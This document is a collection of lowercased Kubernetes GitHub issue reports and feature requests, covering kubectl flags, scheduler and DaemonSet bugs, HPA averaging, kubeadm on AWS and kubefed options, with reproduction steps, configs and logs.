is this a bug report or feature request?  :\r  \r   what happened  :\r 1. since kubernetes v1.11.1, kubectl command about 'kubectl run/apply/create' added two flags that is '--force' and '--grace-period', which are not exist in kubernetes v1.10.x.\r 2. i used ‘kubectl run busybox --image=busybox --grace-period=10 ’ to create a deployment busybox, the filed 'terminationgraceperiodseconds' of corresponding podespec is still 30s, '--grace-period' not work.\r 3. actually, i want to know the meaning of the command 'kubectl run busybox --image=busybox --grace-period=10 --force=true'. suppose that ‘terminationgraceperiodseconds’ stores value of flag '--grace-period', what does store the value of flag '--force'. i know these two flags are used to force to delete resource of k8s. if i use the two flags, will the corresponding resources be forced to delete ? it seemed not that.\r \r   what you expected to happen  :\r may be i  want to get the  manifest of pod when i use \ --force=true --grace-period=0\ . and i set the flags, shoud it be forced to delete with no grace termination？\r   how to reproduce it  as minimally and precisely as possible   :\r kubectl run busybox --image=busybox --grace-period=10 --force=true\r \r   anything else we need to know?  :\r none\r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  : 4.2.0-27-generic\r - install tools: none\r - others: none\r \r 

what happened  :\r generated clients & informers for my types using:\r    \r gopath=$ go env gopath  ./vendor/k8s.io/code-generator/generate-groups.sh all \\\r     github.com/foo/bar/api/pkg/crd/client github.com/foo/bar/api/pkg/crd \\\r     \ foo:v1\  \\\r     --go-header-file /tmp/headerfile\r    \r \r one of the api types look the following:\r    go\r //+genclient\r //+genclient:nonnamespaced\r //+resourcename=usersshkeies\r \r // usersshkey specifies a users usersshkey\r // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.object\r type usersshkey struct {\r \tmetav1.typemeta    json:\ ,inline\  \r \tmetav1.objectmeta  json:\ metadata,omitempty\  \r \r \tspec sshkeyspec  json:\ spec\  \r }\r    \r \r   what you expected to happen  :\r \r the generated  sharedinformerfactory  uses  usersshkeies   as specified via the tag on the type  within the  forresource  function. but instead it uses  usersshkeys :\r    go\r // forresource gives generic access to a shared informer of the matching type\r // todo extend this to unknown resources with a client pool\r func  f  sharedinformerfactory  forresource resource schema.groupversionresource   genericinformer, error  {\r \tswitch resource {\r \t// group=foo.bar.io, version=v1\r \tcase v1.schemegroupversion.withresource \ usersshkeys\  :\r \t\treturn &genericinformer{resource: resource.groupresource  , informer: f.foo  .v1  .usersshkeys  .informer  }, nil\r \r \t}\r \r \treturn nil, fmt.errorf \ no informer found for %v\ , resource \r }\r    \r \r the generated client correctly uses  usersshkeies \r \r   how to reproduce it  as minimally and precisely as possible   :\r - specify  //+resourcename=usersshkeies  above a type\r - generate the client & informer\r \r   environment  :\r - k8s.io/client-go = release-8.0\r - k8s.io/code-generator = release-1.11\r \r \r <!-- do not edit below this line -->\r 

the  kubernetes.io/cluster-service: \ true\   label is sprinkled across over 100 yaml files in the kubernetes repo  according to github search . however, i could not find any documentation around the effect of this label.\r \r after searching the code base, it seems that:\r 1. the label was being used by the addon manager in the past, but it has since been deprecated.\r 2. the  kubectl cluster-info  command seems to be the only place where this label is used in the code. it is used to display the addresses of the services that contain this label.\r \r would it make sense to document this label, and also cleanup the instances of this label that exist on manifests that are not  kind: service ?\r \r  

hi,  while issuing a kube-down command all aws resources are expected to be cleaned, but for some reason the key-pair created by kube-up to establish ssh communication to the nodes/master is not cleaned.  do we leave it intentionally?

@quinton-hoole @nikhiljindal   one thing need to discuss with you about k8s services. in single k8s cluster when users define service.spec.sessionaffinity=clientip, then the service will be session affinity, means if there are multiple calls from single clientip, those calls will be redirected to the same pod, so the session context could be reused.  per my understanding, in k8s, for the case that iptables is enabled, when a service being created, the iptable entry will be write to all nodes, so it is easy to find the target pod and redirect to it.  but if this concept is put to federation level, and if the global dns server is round robin, the service might be redirected to different cluster even sessionaffinity is specified. as a result, the service lost the sessionaffinity capability.  any comments?

had anyone these issues? or maybe you know a better place to ask this.  i'm running a redis and listening to a pubsub channel from another pod. after some time the subscriber isn't receiving messages any more.  using redigo client.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging-parallel/7294/  failed:  k8s.io  emptydir volumes should support  non-root,0777,tmpfs   conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:133 aug 18 01:06:25.477: couldn't delete ns \ e2e-tests-emptydir-pnq6l\ : the server does not allow access to the requested resource  delete namespaces e2e-tests-emptydir-pnq6l

bug report\r   kubernetes version  \r v1.4.3+coreos.0\r \r   environment  :\r -   cloud provider or hardware configuration  :\r bare metal coreos installation. 3 management nodes + 2 worker nodes.\r -   os    e.g. from /etc/os-release :\r  coreos stable  1185.3.0  \r -   kernel   \r  4.7.3-coreos-r2 \r \r   what happened  :\r daemonset pods randomly fail to start on management nodes after nodes reboot.\r    \r > kubectl get pods -o wide -a -l app=ds-gluster-slow-01\r name                    ready     status              restarts   age       ip            node\r gluster-slow-01-fgpk3   1/1       running             0          19h       10.54.147.5   10.54.147.5\r gluster-slow-01-payvs   0/1       matchnodeselector   0          10h       <none>        10.54.147.6\r gluster-slow-01-zdr0t   1/1       running             0          19h       10.54.147.4   10.54.147.4\r    \r 10.54.147.4, 10.54.147.5, 10.54.147.6 are the management nodes.\r the only way to start the pod again is to delete the pod. the  matchnodeselector  happens once every 2-3 reboots. for remaining reboots the pods are started properly.\r \r   how to reproduce it  :\r create a daemonset and assign it to management nodes based on user defined labels.\r here is our configuration:\r \r hosts labels:\r    \r name           status                     age       labels\r 10.54.147.10   ready                      52d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=10.54.147.10,type=infra\r 10.54.147.11   ready                      52d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=10.54.147.11,type=infra\r 10.54.147.4    ready                      53d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,gluster=slow-01,kubernetes.io/hostname=10.54.147.4,type=management\r 10.54.147.5    ready                      53d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,gluster=slow-01,kubernetes.io/hostname=10.54.147.5,type=management\r 10.54.147.6    ready,schedulingdisabled   47d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,gluster=slow-01,kubernetes.io/hostname=10.54.147.6,type=management\r    \r \r daemonset definition:\r    \r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   labels:\r     name: gluster-slow-01\r   name: gluster-slow-01\r   namespace: default\r spec:\r   selector:\r     matchlabels:\r       app: ds-gluster-slow-01\r   template:\r     metadata:\r       labels:\r         app: ds-gluster-slow-01\r     spec:\r       containers:\r       - image: internal-registry/mic/infra/glusterfs:1\r         name: gluster-slow-01\r         livenessprobe:\r           tcpsocket:\r             port: 24007\r           initialdelayseconds: 30\r           timeoutseconds: 1\r         securitycontext:\r           privileged: true\r         volumemounts:\r         - mountpath: /mnt/localdisk\r           name: gluster-localdisk\r         - mountpath: /var/lib/glusterd\r           name: gluster-varlib\r         - mountpath: /dev\r           name: gluster-dev\r         - mountpath: /sys/fs/cgroup\r           name: gluster-cgroup\r       dnspolicy: clusterfirst\r       hostnetwork: true\r       nodeselector:\r         gluster: slow-01\r       restartpolicy: always\r       securitycontext: {}\r       terminationgraceperiodseconds: 1\r       volumes:\r       - hostpath:\r           path: /mnt/localdisk\r         name: gluster-localdisk\r       - hostpath:\r           path: /dev\r         name: gluster-dev\r       - hostpath:\r           path: /sys/fs/cgroup\r         name: gluster-cgroup\r       - hostpath:\r           path: /var/lib/glusterd\r         name: gluster-varlib\r    \r   anything else do we need to know  :\r the kube-scheduler yaml file for managment nodes is defined as follows:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: kube-scheduler\r   namespace: kube-system\r spec:\r   hostnetwork: true\r   containers:\r   - name: kube-scheduler\r     image: quay.io/coreos/hyperkube:v1.4.3_coreos.0\r     command:\r     - /hyperkube\r     - scheduler\r     - --master=http://127.0.0.1:8080\r     - --leader-elect=true\r     livenessprobe:\r       httpget:\r         host: 127.0.0.1\r         path: /healthz\r         port: 10251\r       initialdelayseconds: 15\r       timeoutseconds: 1\r    \r \r the top log lines from the kube-scheduler pod are:\r    \r e1109 06:51:42.487688       1 leaderelection.go:252  error retrieving endpoint: get http://127.0.0.1:8080/api/v1/namespaces/kube-system/endpoints/kube-scheduler: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r e1109 06:51:42.662848       1 reflector.go:214  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:394: failed to list  api.node: get http://127.0.0.1:8080/api/v1/nodes?resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r e1109 06:51:42.662918       1 reflector.go:214  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:404: failed to list  api.service: get http://127.0.0.1:8080/api/v1/services?resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r e1109 06:51:42.662958       1 reflector.go:214  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:391: failed to list  api.pod: get http://127.0.0.1:8080/api/v1/pods?fieldselector=spec.nodename%21%3d%2cstatus.phase%21%3dfailed%2cstatus.phase%21%3dsucceeded&resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r e1109 06:51:42.663004       1 reflector.go:214  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:388: failed to list  api.pod: get http://127.0.0.1:8080/api/v1/pods?fieldselector=spec.nodename%3d%2cstatus.phase%21%3dfailed%2cstatus.phase%21%3dsucceeded&resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r e1109 06:51:42.663124       1 reflector.go:214  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:414: failed to list  extensions.replicaset: get http://127.0.0.1:8080/apis/extensions/v1beta1/replicasets?resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r e1109 06:51:42.663170       1 reflector.go:214  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:409: failed to list  api.replicationcontroller: get http://127.0.0.1:8080/api/v1/replicationcontrollers?resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r e1109 06:51:42.663212       1 reflector.go:214  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:399: failed to list  api.persistentvolumeclaim: get http://127.0.0.1:8080/api/v1/persistentvolumeclaims?resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r e1109 06:51:42.663257       1 reflector.go:214  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:398: failed to list  api.persistentvolume: get http://127.0.0.1:8080/api/v1/persistentvolumes?resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r i1109 06:51:45.940628       1 leaderelection.go:295  lock is held by sid-kb-004 and has not yet expired\r i1109 06:51:48.664098       1 leaderelection.go:295  lock is held by sid-kb-004 and has not yet expired\r    \r \r i suspect it is a race condition during the management pods initialization. the  kube-scheduler  is started before the  kube-apiserver  pod. it may not be handling well the fact that it can't connect to the kubernetes api service.\r i tried to workaround it by adding the  init-containers  section:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: kube-scheduler\r   namespace: kube-system\r   annotations:\r     pod.beta.kubernetes.io/init-containers: ' \r       {\r         \ image\ : \ quay.io/coreos/hyperkube:v1.4.3_coreos.0\ ,\r         \ name\ : \ wait-for-master\ ,\r         \ command\ :   \ /bin/bash\ , \ -c\ , \ while ! timeout 1 bash -c \\\ /kubectl --server=http://127.0.0.1:8080/ cluster-info\\\ ; do sleep 1; done\   \r       }\r      '\r spec:\r   hostnetwork: true\r   containers:\r   - name: kube-scheduler\r     image: quay.io/coreos/hyperkube:v1.4.3_coreos.0\r     command:\r     - /hyperkube\r     - scheduler\r     - --master=http://127.0.0.1:8080\r     - --leader-elect=true\r     livenessprobe:\r       httpget:\r         host: 127.0.0.1\r         path: /healthz\r         port: 10251\r       initialdelayseconds: 15\r       timeoutseconds: 1\r    \r but it looks like init-containers only executes during pod creation. when the pod is restarted it does not execute.\r \r my bug is similar to https://github.com/kubernetes/kubernetes/issues/31123, but provides more data.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no, feature request\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : hpa cpu average\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r with regard to hpa scaling operations, i would like to be able to define a time period over which the hpa should compile an average cpu usage.  right now it seems to check every 30 seconds and only consider what the cpu usage is at that very moment.  this is problematic with my jvm app as it garbage collects frequently which often coincides with the moment that the hpa checks cpu, causing a sort of jumpy scenario where unnecessary pods are frequently created.\r \r   kubernetes version    use  kubectl version  :\r 1.5.2\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : centos 7\r -   kernel    e.g.  uname -a  : 4.4.47-1.el7.elrepo.x86_64\r -   install tools  : kops\r -   others  : \r \r \r   what happened  : hpa is jumpy on my jvm app\r \r \r   what you expected to happen  : hpa to be more stable / only scale with average cpu is high for a period of time  5 minutes? configurable, hopefully \r \r \r   how to reproduce it    as minimally and precisely as possible : run a jvm app that likes to do lots of minor gcs and set it to autoscale\r \r \r   anything else we need to know  : pineapple is fantastic on pizza\r \r

is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : 1.5.3\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-22t10:12:27z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : minikube 0.17.1\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. view config\r \r    bash\r $ kubectl config view\r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority: /users/everett/.minikube/ca.crt\r     server: https://192.168.99.100:8443\r   name: minikube\r contexts:\r - context:\r     cluster: minikube\r     user: minikube\r   name: minikube\r current-context: minikube\r kind: config\r preferences: {}\r users:\r - name: minikube\r   user:\r     client-certificate: /users/everett/.minikube/apiserver.crt\r     client-key: /users/everett/.minikube/apiserver.key\r    \r \r note that there's only one context.\r \r 2. unset the property of a non-existent context\r \r    bash\r $ kubectl config unset contexts.foo.namespace\r property \ contexts.foo.namespace\  unset.\r    \r \r 3. view config\r \r    bash\r $ kubectl config view\r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority: /users/everett/.minikube/ca.crt\r     server: https://192.168.99.100:8443\r   name: minikube\r contexts:\r - context:\r     cluster: \ \ \r     user: \ \ \r   name: foo\r - context:\r     cluster: minikube\r     user: minikube\r   name: minikube\r current-context: minikube\r kind: config\r preferences: {}\r users:\r - name: minikube\r   user:\r     client-certificate: /users/everett/.minikube/apiserver.crt\r     client-key: /users/everett/.minikube/apiserver.key\r    \r \r note that a context named foo was created just because i tried to unset a property.\r \r   what you expected to happen  :\r \r  kubectl config unset contexts.foo.namespace  should give an informative message saying that context  foo  doesn't exist.\r \r   anything else we need to know  :\r \r this is probably low-hanging fruit.

from what i learned on slack we're testing upgrades only - we check if we upgrade 1.7 cluster to 1.8 cluster things keep working. on the other hand we're not testing if downgrading 1.8 cluster to 1.7 works at all. downgrades are extremely important for everyone running kubernetes in production - if it turns out that 1.8 has a bug that breaks some of user's workloads.\r \r standard mitigation policy in such case is to downgrade cluster to 1.7 and start working on a fix. in the absence of downgrade possibility, he/she will need to wait, possibly days, for hot-fix which is risky by itself.\r \r we should consider making downgrades work a prerequisite for releasing 1.8. i'm aware that we haven't done downgrade testing since around 1.5, but the fact that we somehow managed that until now doesn't mean we should continue to ignore this problem.\r \r @kubernetes/sig-release-bugs @thockin @bgrant0607 @smarterclayton @spiffxp

  @kubernetes/sig-storage\r \r it would be useful to have a persistentvolumeclaim that is tied to the lifetime of a pod. we currently have a use case where we have a data export type job that dumps a significant amount of data to disk. however, the data is ultimately sent to other locations, and so once the job is complete, we do not need the ebs volume to persist anymore.\r \r the underlying idea is to be able to specify for a pod n gbs of disk, just like you cpu / memory, without having to worry about external operator cleanup of this state. the overlay filesystem is meant to solve this problem, but unfortunately it's restricted to the underlying node's disk size  and potentially problematic if two disk heavy containers get scheduled onto the same node .\r \r i'm happy to work on this feature if someone can point me in the right direction!

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r  not sure about the correct sig \r \r   what happened  :\r \r after migrating  or creating a new cluster  to 1.8, pods aren't getting assigned only to nodes in the same zone as its pvcs.\r \r   what you expected to happen  :\r \r pods with a pvc should only be scheduled at nodes within the same zone.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. start a new cluster in aws  not sure if affects other cloud providers \r 2. add nodes in multiple availability zones  e.g.: us-west-2a, us-west-2b, us-west-2c \r 3. create a stateful set with dynamic pvc provisioning through aws ebs. also, add a topology anti-affinity to ensure that the pods will get spread between nodes\r \r after this, the first pod will start correctly, but the second will fail to start as it will _probably_ be scheduled in the wrong availability zone. i'm saying  probably  because this behavior seems to have some randomness in it. i tried deleting the failing pod a couple times and sometimes i got lucky and the pod was scheduled in the correct zone.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : arch linux\r - kernel  e.g.  uname -a  : linux ip-10-0-50-163 4.12.10-1-ec2  1 smp fri sep 1 22:37:26 pdt 2017 x86_64 gnu/linux\r - install tools: custom cluster from scratch\r - others:\r

forked from https://github.com/kubernetes/test-infra/issues/5530  as the real isssue seems unrelated to test-infra .\r \r -------------------------------\r \r many of our kubemark jobs are failing frequently due to jenkins:\r - https://k8s-testgrid.appspot.com/sig-scalability-kubemark kubemark-100\r - https://k8s-testgrid.appspot.com/sig-scalability-kubemark kubemark-500\r - https://k8s-testgrid.appspot.com/sig-scalability-kubemark kubemark-5000\r \r e.gs from each:\r - https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-kubemark-100-gce/5386/build-log.txt\r - https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/9718/build-log.txt\r - https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/715/build-log.txt\r \r there are many many msgs like these in the build-logs:\r \r    \r i1115 11:31:02.863  error dialing jenkins@35.193.52.163:22: 'ssh: handshake failed: read tcp 172.17.0.4:51754->35.193.52.163:22: read: connection reset by peer', retrying\r i1115 11:31:02.865  nov 15 11:31:02.864: info: error when trying to ssh to master machine. skipping probe. error getting ssh client to jenkins@35.193.52.163:22: 'ssh: handshake failed: read tcp 172.17.0.4:51792->35.193.52.163:22: read: connection reset by peer'\r    \r \r this needs to be fixed urgently as it's affecting prs running kubemark-500 presubmit.\r \r /assign\r cc @kubernetes/sig-scalability-misc @porridge

is this a bug report or feature request?  :\r  \r   what happened  :\r in method addcloudnode of cloudnodecontroller, there are some calls through cloud provider, e.g. instanceid, getzonebyproviderid. the cloud provider implementations would often involve network i/o, thus might result in timeout or failure.\r \r the code calling cloud provider lies between the fetch of node object https://github.com/kubernetes/kubernetes/blob/e9f7970caa586d2f0b58c99cde807ab036cd128c/pkg/controller/cloud/node_controller.go l296\r and the update of node object.\r https://github.com/kubernetes/kubernetes/blob/e9f7970caa586d2f0b58c99cde807ab036cd128c/pkg/controller/cloud/node_controller.go l366\r \r during the gap, the node status could be also updated by others, and later the update call would fail.\r in this case the node's cloudprovider taint flag would not be removed.\r \r   what you expected to happen  :\r cloudnodecontroller should be able to update node as long as there is no conflict.\r \r   how to reproduce it  as minimally and precisely as possible   :\r a quick repro is to add code to sleep for a period before updating the node object.\r \r   anything else we need to know?  :\r \r   environment  :\r v1.8.0

when deploying a master with kubeadm as described below, \r kube-api-server fails to start up with x509: failed to load system roots and no roots provided.\r  if i only pass --cloud-provider to kube-controller, it also fails with that error \r this error   only happens when passing  aws  as cloudprovider  .\r  omitting cloudprovider spawns a working cluster \r \r master node installed with  /opt/bin/kubeadm init --config ./kubeadm.conf :\r    \r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r cloudprovider: \ aws\ \r kubernetesversion: \ v1.9.3\ \r token: \ xyzy.xyzxyzxyzxyz\ \r apiservercertsans:\r - 54.54.54.54\r networking:\r   dnsdomain: \ t2000.k8s.local\ \r    \r \r docker logs for  k8s_kube-apiserver_kube :\r    \r i0216 17:32:50.207832       1 server.go:121  version: v1.9.3\r i0216 17:32:50.207927       1 cloudprovider.go:59  --external-hostname was not specified. \r trying to get it from the cloud provider.\r i0216 17:32:50.207977       1 aws.go:1000  building aws cloudprovider\r i0216 17:32:50.207996       1 aws.go:963  zone not specified in configuration file; \r querying aws metadata service\r error setting the external host value: \ aws\  cloud provider could not be initialized: \r could not init cloud provider \ aws\ : error finding instance i-071060a437378f122: \r \ error listing aws instances: \\\ requesterror: send request failed\\\ caused by: \r post https://ec2.us-east-1.amazonaws.com/: \r x509: failed to load system roots and no roots provided\\\ \ \r    \r \r entire journalctl output https://gist.github.com/steffengy/63566dfab81d04d358da5df67ed7fc96\r \r kubernetes version: v1.9.3\r on \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1632.3.0\r version_id=1632.3.0\r build_id=2018-02-14-0338\r docker version 17.09.1-ce, build 19e2cf6\r    \r \r not quite sure what's the cause for this might be kubeadm, or something entirely different.\r \r \r

is this a bug report or feature request?  : bug report\r \r >  \r   what happened  : pod fails with status outofcpu\r \r   what you expected to happen  : pod to remain in 'pending' until resources were available\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a node with x cpu resources\r 2. create a pod with resource requests and limits, specifying in the spec nodename= node from step 1 \r 3. create a second instance of this pod, pod should stay pending but instead it fails\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.6\r - cloud provider or hardware configuration: google kubernetes engine\r

is this a bug report or feature request?  :\r   \r   what happened  :\r when defining a httpget lifecycle handler, i the headers are not used with the request. handlers.go uses plain  http.defaultclient.get url  \r \r   what you expected to happen  :\r headers defined in the httpgetaction are used during the lifecycle handler.\r \r   how to reproduce it  as minimally and precisely as possible   :\r add a lifecycle hook to your pod\r    \r         lifecycle:\r           poststart:\r             httpget:\r               port: 80\r               httpheaders:\r               - name: {header}\r                 value: {value}\r    \r \r   anything else we need to know?  :\r raising a wip pr for this shortly\r \r   environment  :\r - kubernetes version: all  master \r - cloud provider or hardware configuration: minikube

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r the scheduler’s cache implementation is not meant to be exported as a golang library outside of the scheduler. it should be moved from  k8s.io/kubernetes/pkg/scheduler/cache  to  k8s.io/kubernetes/pkg/scheduler/internal/cache .\r \r \r there are some types in the current  cache  package, namely  nodeinfo , which should remain where they are. these are actually used outside of the scheduler, and need to be decoupled from the cache implementation.\r \r   /help\r /good-first-issue\r

i am stuck on a scenario where i have to get the log folder of container 1 into 2nd container. i have found a solution in which we will create a emptydir directory.\r \r    \r spec:\r   containers:\r   - name: app\r     image: app-image\r     imagepullpolicy: always\r     ports:\r     - containerport: 8080\r     volumemounts:\r     - name: logs\r       mountpath: /var/log/app/\r   - name: uf\r     image: splunk/splunkuniversalforwarder\r     ...\r     volumemounts:\r     - name: logs\r       mountpath: /var/log/app/\r   volumes:\r   - name: logs\r     emptydir: {}\r    \r however, in my circumstance i need to share/usr/var/log/tomcat/of first compartment into/var/log/message. this is on the grounds that  splunk  https://tekslate.com/installation-overview-splunk-add-cyberark/ uf picture will screen/var/log/application/. so i need to share the log envelope of various applications, be it/var/log/application/tomcat or/var/log/messages however at one same area with splunk holder/var/log/application/. \r \r i can run duplicate direction to get the log 1 time however how to get the logs consistently?\r any help is appreciated here.\r @k8s-publishing-bot \r source:stackoverflow

this is a continuation of a discussion started in the  sig-scheduling kubernetes slack channel between @davidopp, @smarterclayton, and @quinton-hoole.  fundamentally the quota system prevents the 'creation' of pods but has nothing  as far as i can tell  to do with the 'running' of pods.  there are lots of reasons why a pod can't get get to the 'ready' state especially in a resource constrained cluster.  what a 'running' quota would do is not penalize a given user/namespace for having pods that can't be scheduled.  a simple example would be a namespace with a quota of 4 pods that current has 2 ready/scheduled pods and 2 pods that can't be scheduled and may not be able to for quite a while.  given a the current quota system a new pod could not be created in this namespace.  with a running quota system of 4, however, 2 additional pods could get scheduled.  i believe that this is the time to address this functionality because the addition of the jobcontroller, and support for batch workloads in general, will increase the potential of a given kubernetes cluster to be resource constrained.

when creating a replication controller whose metadata.name has a length of exactly 55 characters, the template pods will fail to start with:      25s 2s  4   {kubelet gke-olympus-7c037362-node-whbj}    implicitly required container pod   pulled  container image \ gcr.io/google_containers/pause:0.8.0\  already present on machine   2s    2s  1   {kubelet gke-olympus-7c037362-node-whbj}    implicitly required container pod   created created with docker id 6c1a57bf494b   2s    2s  1   {kubelet gke-olympus-7c037362-node-whbj}    implicitly required container pod   failed  failed to start with docker id 6c1a57bf494b with error: api error  500 : cannot start container 6c1a57bf494b73d45971a0d702f2db1b4399e781cc0baec50ed8b346a3445109:  8  system error: read parent: connection reset by peer    2s    2s  1   {kubelet gke-olympus-7c037362-node-whbj}        failedsync  error syncing pod, skipping: api error  500 : cannot start container 6c1a57bf494b73d45971a0d702f2db1b4399e781cc0baec50ed8b346a3445109:  8  system error: read parent: connection reset by peer      repeated many times.  desired action: pod is created successfully  actual action: pod fails with error above  steps to reproduce: create a replication controller with a name exactly 55 characters long.  here is a json config for reproducibility.      json {     \ kind\ : \ replicationcontroller\ ,     \ apiversion\ : \ v1\ ,     \ metadata\ : {         \ name\ : \ bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\ ,         \ labels\ : {             \ app\ : \ test\          }     },     \ spec\ : {         \ replicas\ : 1,         \ selector\ : {             \ app\ : \ test\          },         \ template\ : {             \ metadata\ : {                 \ labels\ : {                     \ app\ : \ test\                  }             },             \ spec\ : {                 \ containers\ :                       {                         \ name\ : \ test\ ,                         \ image\ : \ tutum/hello-world\ ,                         \ ports\ :                               {                                 \ containerport\ : 80,                                 \ protocol\ : \ tcp\                              }                                               }                               }         }     } }

i was wondering if there are any plans to support digital ocean volumes  similar to awselasticblockstore ? if not, are you open to pull requests for this feature?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r the  kubefed init  can only specify the image but cannot specify the  imagepullsecrets  and  imagepullpolicy , this will cause issues if i want to use images from private registry.\r    \r       --api-server-advertise-address string      preferred address to advertise api server nodeport service. valid only if 'api-server-service-type=nodeport'.\r       --api-server-service-type string           the type of service to create for federation api server. options: 'loadbalancer'  default , 'nodeport'.  default \ loadbalancer\  \r       --apiserver-arg-overrides string           comma separated list of federation-apiserver arguments to override: example \ --arg1=value1,--arg2=value2...\ \r       --apiserver-enable-basic-auth              enables http basic authentication for the federation-apiserver. defaults to false.\r       --apiserver-enable-token-auth              enables token authentication for the federation-apiserver. defaults to false.\r       --controllermanager-arg-overrides string   comma separated list of federation-controller-manager arguments to override: example \ --arg1=value1,--arg2=value2...\ \r       --dns-provider string                      dns provider to be used for this deployment.\r       --dns-provider-config string               config file path on local file system for configuring dns provider.\r       --dns-zone-name string                     dns suffix for this federation. federated service dns names are published with this suffix.\r       --dry-run                                  dry run without sending commands to server.\r       --etcd-image string                        image to use for etcd server.  default \ gcr.io/google_containers/etcd:3.0.17\  \r       --etcd-persistent-storage                  use persistent volume for etcd. defaults to 'true'.  default true \r       --etcd-pv-capacity string                  size of persistent volume claim to be used for etcd.  default \ 10gi\  \r       